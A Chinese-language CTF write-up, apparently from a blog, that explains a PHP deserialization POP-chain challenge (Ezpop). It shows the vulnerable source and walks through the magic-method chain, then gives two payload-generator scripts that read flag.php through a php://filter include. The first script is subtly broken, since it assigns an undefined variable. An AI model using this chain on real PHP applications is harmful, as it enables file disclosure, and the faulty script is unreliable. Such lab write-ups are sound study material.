cl.ez6.xyz index.php,[BJDCTF2020]EzPHP-POP链
那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例。
题目
1 Welcome to index.php
2 <?php
3 //flag is in flag.php
4 //WTF IS THIS?
5 //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
6 //And Crack It!
7 class Modifier {
8 protected $var;
9 public function append($value){
10 include($value);
11 }
12 public function __invoke(){
13 $this->append($this->var);
14 }
15 }
16
17 class Show{
18 public $source;
19 public $str;
20 public function __construct($file='index.php'){
21 $this->source = $file;
22 echo 'Welcome to '.$this->source."
";
23 }
24 public function __toString(){
25 return $this->str->source;
26 }
27
28 public function __wakeup(){
29 if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
30 echo "hacker";
31 $this->source = "index.php";
32 }
33 }
34 }
35
36 class Test{
37 public $p;
38 public function __construct(){
39 $this->p = array();
40 }
41
42 public function __get($key){
43 $function = $this->p;
44 return $function();
45 }
46 }
47
48 if(isset($_GET['pop'])){
49 @unserialize($_GET['pop']);
50 }
51 else{
52 $a=new Show;
53 highlight_file(__FILE__);
54 }
分析
将涉及到的魔法函数先列出一下:
__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发
大致分析一下,这道题主要存在两个点:
1.序列化pop链
利用几个类之间相互关联进行构造
2.文件包含漏洞
Modifier类中append函数使用了include(),会出现文件包含漏洞。
详细分析
1.根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。
2._wakeup()通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法;
3.如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()方法。
4.如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。
5.利用文件包含漏洞,使用_invoke()读取flag.php的内容。
Modifier::__invoke()
总结
首先反序列化一个实例化的Show($a),就会调用_wakeup(),其中$a会被赋值给source。所以让$a是一个实例化的Show类,这样就会调用_tostring(),然后让里面的$a这个Show类中的str赋值为Test()类,然后让str这个Test()类中的p赋值为Modifier()类。
payload1
1 <?php
2 class Show{
3 public $source;
4 public $str;
5 }
6
7 class Test{
8 public $p;
9
10
11 }
12 class Modifier{
13 protected $var = "php://filter/convert.base64-encode/resource=flag.php";
14
15 }
16 $s = new Show();
17 $t = new Test();
18 $m = new Modifier();
19 $s->source = $s;
20 $s->str = $t;
21 $t->p = $r;
22 var_dump(urlencode(serialize($s)));
23
24 ?>
payload2
1 <?php
2 class Modifier{
3
4 protected $var = "php://filter/convert.base64-encode/resource=flag.php";
5 }
6
7 class Show{
8 public $source;
9 public $str;
10 public function __construct(){
11 $this->str = new Test();
12
13 }
14
15 }
16 class Test{
17 public $p;
18 public function __construct(){
19
20 $this->p = new Modifier();
21 }
22
23 }
24 $a = new Show();
25 $b = new Show();
26 $b->str = "";
27 $b->source = $a;
28 var_dump($b);
29 var_dump(urlencode(serialize($b)));
30 ?>
参考:https://blog.csdn.net/weixin_43952190/article/details/106016260
标签:__,function,Show,POP,source,str,EzPHP,BJDCTF2020,public
来源: https://www.cnblogs.com/zzjdbk/p/13617229.html
cl.ez6.xyz index.php,[BJDCTF2020]EzPHP-POP链相关推荐
- cl 7ar xyz index php,GIF 文件格式分析 -- chinawrc的世界 -- [北方博客].mht
From: Subject: =?gb2312?B?R0lGIM7EvP648cq9t9bO9iAtLSBjaGluYXdyY7XEysC95yAtLSBbsbG3vbKp?= =?gb2312?B? ...
- cl.fe3.xyz index.php,2_FE_Diabetes.ipynb
{ "cells": [ { "cell_type": "markdown", "metadata": {}, &quo ...
- http://cl.s6e.xyz/index.php,index.html · Pear Admin/Pear Admin Site - Gitee.com
Pear Admin 官网 .layui-nav .layui-this:after{ display: none; } .layui-nav .layui-nav-bar{ display: non ...
- BJDctf2020 Ezphp
BJDctf2020 Ezphp 目录 BJDctf2020 Ezphp 2.preg_match绕过 3.$_REQUEST绕过 4.file_get_contents绕过 5.sha1函数.比较类 ...
- php反序列化之pop链构造
前言 随着对反序列化学习的不断深入,我们来学习一下pop链的构造.这个pop链对于我这种小白来说还是比较难理解的,再次写下这篇文章总结一下,加深自己对构造pop链的理解.同时也是提供想要入坑的小伙伴们 ...
- PHP反序列化—构造POP链
前言: 最近在刷题的时候发现这个PHP反序列化-POP链,之前理解的序列化攻击多是在魔术方法中出现一些利用的漏洞,自动调用从而触发漏洞.但如果关键代码不在魔术方法中,而是在一个类的普通方法中.这时候可 ...
- php反序列化—POP 链的构造利用
POP 链的构造利用 一.POP链简介 1.POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Retu ...
- POP链实例解析学习
写在前面 POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload,实战应用范围暂时没遇到,不过在CTF比赛中经常出现这样的题目,同时也经常与反序列化一起考察,可以理解为是反序列 ...
- 『Java安全』反序列化-浅析Hessian反序列化POP链
文章目录 前言 pom.xml Spring联动Hessian使用 Server端 服务接口 服务实现类 SpringApp Client端 手动序列化和反序列化 能序列化的类 序列化没有实现Seri ...
最新文章
- Java学习总结:37(比较器)
- CSS3的box-sizing:向外撑content-box向内挤border-box 外撑的padding算自己的盒子会变大 内挤的padding会缩小自己
- 二叉树的右视图—leetcode199
- linux 下查看应用版本信息,Linux下查看版本信息
- HTML Table 固定列宽,实现excel表格效果
- mysql查询优化not in,mysql not in如何优化
- 第二章 ARM体系结构与指令集——ARM
- ANT:修改测试报告的样式jmeter-results-shanhe-me.xs
- 【语义分割系列:八】Segmentation 数据集 介绍下载论文
- Sequence-to-Sequence Model (Seq2Seq)
- Windows程序设计设计第一个窗口
- 详解Tensor用法
- 云服务器、VPS、虚拟主机三者的区别(详细)
- html 简繁文件转换器,在线简繁
- 在Virtual Box中安装Windows7 64位虚拟机系统
- 在 SAP 故乡,感受「边缘智能」之变
- linux杂志软件,Ubuntu 16.04安装电子杂志制作软件 Scribus 1.5.2
- oracle 统计一年中每个月数据总和_oracle统计一年中每个月的数据
- JS基础-字符串拆分、截取、查找汇总
- 5个被称为“神技”的Excel小技巧,让你的办公效率提升3倍!